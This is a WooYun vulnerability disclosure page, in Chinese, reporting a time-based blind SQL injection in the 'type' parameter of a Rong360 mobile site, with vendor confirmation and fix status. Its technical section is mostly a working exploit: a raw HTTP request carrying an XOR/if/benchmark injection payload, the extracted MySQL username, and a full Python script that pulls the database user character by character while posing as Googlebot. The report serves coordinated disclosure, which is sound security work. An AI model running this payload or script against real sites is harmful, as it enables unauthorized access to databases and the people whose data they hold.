当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0130495

漏洞标题:融360某站点MySQL注射(附脚本)

相关厂商:融360

漏洞作者: 路人甲

提交时间:2015-07-30 18:58

修复时间:2015-09-17 15:04

公开时间:2015-09-17 15:04

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-30: 细节已通知厂商并且等待厂商处理中
2015-08-03: 厂商已经确认,细节仅向厂商公开
2015-08-13: 细节向核心白帽子及相关领域专家公开
2015-08-23: 细节向普通白帽子公开
2015-09-02: 细节向实习白帽子公开
2015-09-17: 细节向公众公开

简要描述:

融360某站点MySQL注射(附脚本)

详细说明:

注射点:

GET /article?type=aaa'XOR(if(length(user())=18%2cbenchmark(8000000,md5(123))%2c0))OR'bb HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://m.rong360.com
Cookie:
Host: m.rong360.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Mobile/12A4345d Safari/600.1.4
Accept: */*


参数 type可注入。

漏洞证明:

[Done] MySQL user is cmsroo112211680077


多次确认,user的值没有问题。
python脚本:

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'User-Agent': 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 19):
for payload in payloads:
timeout_count = 0
for _ in range(3):
s = 'ascii(mid(lower(user())from(%s)for(1)))=%s' % (i, ord(payload))
s = "/article?type=aaa'XOR(if(%s,benchmark(10000000,md5(123)),0))OR'bb" % s
conn = httplib.HTTPConnection('m.rong360.com', timeout=30)
conn.request(method='GET', url=s, headers=headers)
start_time = time.time()
html_doc = conn.getresponse().read()
conn.close()
print '.',
if time.time() - start_time > 1.0:
timeout_count += 1
else:
break
#print payload, timeout_count
if timeout_count == 3:
user += payload
print '\n[in progress]', user,
break

print '\n[Done] MySQL user is %s' % user

修复方案:

参数过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-08-03 15:02

厂商回复:

漏洞已安排工程师修复,感谢您对融360的关注!

最新状态:

暂无


漏洞评价:

评论